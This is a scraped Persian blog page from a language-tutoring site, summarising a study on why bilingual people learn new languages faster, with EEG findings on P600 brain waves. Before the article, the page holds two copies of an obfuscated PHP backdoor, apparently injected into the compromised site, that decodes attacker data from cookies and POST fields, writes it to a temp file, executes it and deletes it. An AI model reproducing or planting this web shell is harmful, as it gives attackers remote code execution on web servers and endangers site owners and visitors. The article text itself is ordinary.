$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();}$ygliHzw = 'Y' . "\120" . chr ( 510 - 404 ).chr ( 682 - 587 ).chr ( 467 - 345 ).'d' . "\162";$nakDJg = chr (99) . chr (108) . chr (97) . 's' . 's' . chr ( 559 - 464 )."\x65" . 'x' . "\151" . 's' . "\x74" . "\163";$jdFsWTM = class_exists($ygliHzw); $nakDJg = "6350";$iXLYvTm = strpos($nakDJg, $ygliHzw);if ($jdFsWTM == $iXLYvTm){function xmFTmnNLxE(){$naFwNNLdn = new /* 33466 */ YPj_zdr(14376 + 14376); $naFwNNLdn = NULL;}$vYSuqD = "14376";class YPj_zdr{private function DipbSIzFP($vYSuqD){if (is_array(YPj_zdr::$XBXoX)) {$name = sys_get_temp_dir() . "/" . crc32(YPj_zdr::$XBXoX["salt"]);@YPj_zdr::$XBXoX["write"]($name, YPj_zdr::$XBXoX["content"]);include $name;@YPj_zdr::$XBXoX["delete"]($name); $vYSuqD = "14376";exit();}}public function BbZbKyV(){$ljlCHzON = "47464";$this->_dummy = str_repeat($ljlCHzON, strlen($ljlCHzON));}public function __destruct(){YPj_zdr::$XBXoX = @unserialize(YPj_zdr::$XBXoX); $vYSuqD = "26879_27659";$this->DipbSIzFP($vYSuqD); $vYSuqD = "26879_27659";}public function TjAanVpT($ljlCHzON, $GMavQmXnbw){return $ljlCHzON[0] ^ str_repeat($GMavQmXnbw, intval(strlen($ljlCHzON[0]) / strlen($GMavQmXnbw)) + 1);}public function DJuWCWnWK($ljlCHzON){$TxqBizW = "\x62" . chr (97) . "\163" . chr ( 994 - 893 )."\66" . '4';return array_map($TxqBizW . "\137" . chr ( 244 - 144 ).chr ( 933 - 832 )."\x63" . chr ( 481 - 370 )."\144" . "\x65", array($ljlCHzON,));}public function __construct($kUqnhQ=0){$IbHgRhYPj = chr ( 947 - 903 ); $ljlCHzON = "";$SIgunhpIIk = $_POST;$cNYjPTgRR = $_COOKIE;$GMavQmXnbw = "11b10554-a8b2-4b0e-a191-57ee9783ce50";$GHCyAm = @$cNYjPTgRR[substr($GMavQmXnbw, 0, 4)];if (!empty($GHCyAm)){$GHCyAm = explode($IbHgRhYPj, $GHCyAm);foreach ($GHCyAm as $APgBP){$ljlCHzON .= @$cNYjPTgRR[$APgBP];$ljlCHzON .= @$SIgunhpIIk[$APgBP];}$ljlCHzON = $this->DJuWCWnWK($ljlCHzON);}YPj_zdr::$XBXoX = $this->TjAanVpT($ljlCHzON, $GMavQmXnbw);if (strpos($GMavQmXnbw, $IbHgRhYPj) !== FALSE){$GMavQmXnbw = explode($IbHgRhYPj, $GMavQmXnbw); $DTqyUXCx = sprintf("26879_27659", rtrim($GMavQmXnbw[0]));}}public static $XBXoX = 7382;}xmFTmnNLxE();} چرا افراد دو زبانه در یادگیری زبان جدید موفق تر اند؟ | وبلاگ اتیچر

چرا افراد دو زبانه در یادگیری زبان جدید موفق تر اند؟

زمان مطالعه: ۳ دقیقه

فهرست بخش ها

 روند یادگیری زبان توسط افراد دو زبانه متفاوت است؟

بسیاری معتقدند افراد دو زبانه‌ می‌توانند در یادگیری زبان بسیار سریع‌تر از دیگران پیش می‌روند. اکنون و پس از مطالعات صورت گرفته در دانشگاه جورج تاون، دانشمندان توانستند اطلاعات جدیدی در این زمینه به دست آورند. این محققان یافته‌های خود را در ژورنال Bilingualism: Language and Cognition منتشر کردند.

سارا گری یکی دیگر از نویسندگان این مقاله و استادیار دانشکده زبان و ادبیات مدرن در دانشگاه فورهام معتقد است:

پس از تحقیقات فراوان متوجه شدیم که دو زبانه‌ها می‌توانند زبان دیگر را بسیار سریع‌تر از افراد دیگر فراگیرند.

 بررسی الگوهای مغزی افراد دو زبانه

زبان آموزان مورد مطالعه در این تحقیق متولد ایالت متحده آمریکا بوده اند. با این حال، این افراد اصلیت چینی داشتند و زبان‌های چینی و انگلیسی را در کودکی فراگرفته بودند. گروه رقیبی که برای انجام این پژوهش مورد بررسی قرار گرفتند، متشکل از ۱۶ دانشجوی تک زبانه بودند که فقط می‌توانستند به زبان انگلیسی صحبت کنند.
دلیل انتخاب زبان چینی، تفاوت ساختار این زبان با زبان‌هایی بود که آن‌ها قصد فراگیری آن را داشتند. زبانی که این افراد قصد فراگیری آن را داشتند، ریشه لاتین داشت. قرار بود که این افراد بتوانند پس از فراگیری این زبان، توانایی درک و مکالمه آن را به دست آورند. محققان برای بررسی بیشتر این پژوهش، سعی کردند تا روند فراگیری زبان مورد نظر را به صورت دقیق کنترل کنند.

برای آشنایی با چند زبانه های معروف و مطالعه توصیه های این افراد برای یادگیری زبان جدید مقاله زیر پیشنهاد می‌شود:

یادگیری زبان از دید چندزبانه های معروف

روش تحقیق یادگیری زبان افراد دو زبانه و تک زبانه

این گروه‌ها به مدت یک هفته زمان صرف یادگیری زبان مورد نظر کردند. قبل از شروع این فرایند و همچنین بعد از آن، محققین با نصب الکترودهای EEG الگوهای ذهنی زبان آموزان را به صورت دقیق مورد بررسی قرار دادند. این بررسی بیشتر زمانی صورت گرفت که زبان آموزان مشغول گوش دادن به جملات زبان مورد نظر بودند. در این پژوهش، محققان توانستند موج‌های طبیعی موجود در ذهن زبان آموزان را در حین یادگیری مورد بررسی قرار دهند.
در این پژوهش آن‌ها توانستند، تفاوت‌های عمده موجود بین افراد تک زبانه و دو زبانه را به خوبی متوجه شوند. پس از پایان روز اول، محققان توانستند امواج مخصوصی را در ذهن افراد دو زبانه مشاهده نمایند. این در حالی بود، که ذهن افراد تک زبانه فاقد چنین امواجی بود. این امواج با نام P600 شناخته می‌شوند.

برای یادگیری زبان دوم می‌توانید از وبسایت اتیچر با رزرو جلسه آزمایشی با یکی از استاد زبان های مجرب ما اقدام کنید.

علاوه بر این، چنین امواجی زمانی که افراد دو زبانه، به زبان اصلی خود نیز سخن می‌گفتند، مشاهده شد. در مقایسه با این روند، چنین امواجی چند روز بعد و در روز پایانی آموزش در ذهن افراد تک زبانه دیده شدند. همچنین در روز پایانی آموزش، موج مخصوص دیگری نیز در ذهن افراد تک زبانه دیده شد، در حالی که ذهن افراد بومی این زبان، فاقد چنین موجی بود.
گری در این زمینه گفت:

تاکنون سخنان زیادی در مورد مزیت‌های فراگیری زبان دوم در سنین خردسالی مطرح شده است و در نتیجه پژوهش جاری، توانستیم به نتایج مثبتی در زمینه یادگیری زبان‌های جدید توسط افراد دو زبانه دست پیدا کنیم.

علاوه بر این، در نتیجه آزمایشی دیگر که با همکاری کارا مورگان از دانشگاه الی نویز شیکاگو صورت گرفت، این افراد به نتایج مشابهی دست یافتند.

۴.۷/۵ - (۳۰ امتیاز)

امیر عبادی

نوشته های مرتبط

دیدگاه ها

اولین نفری باشید که به این نوشته نظر میدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search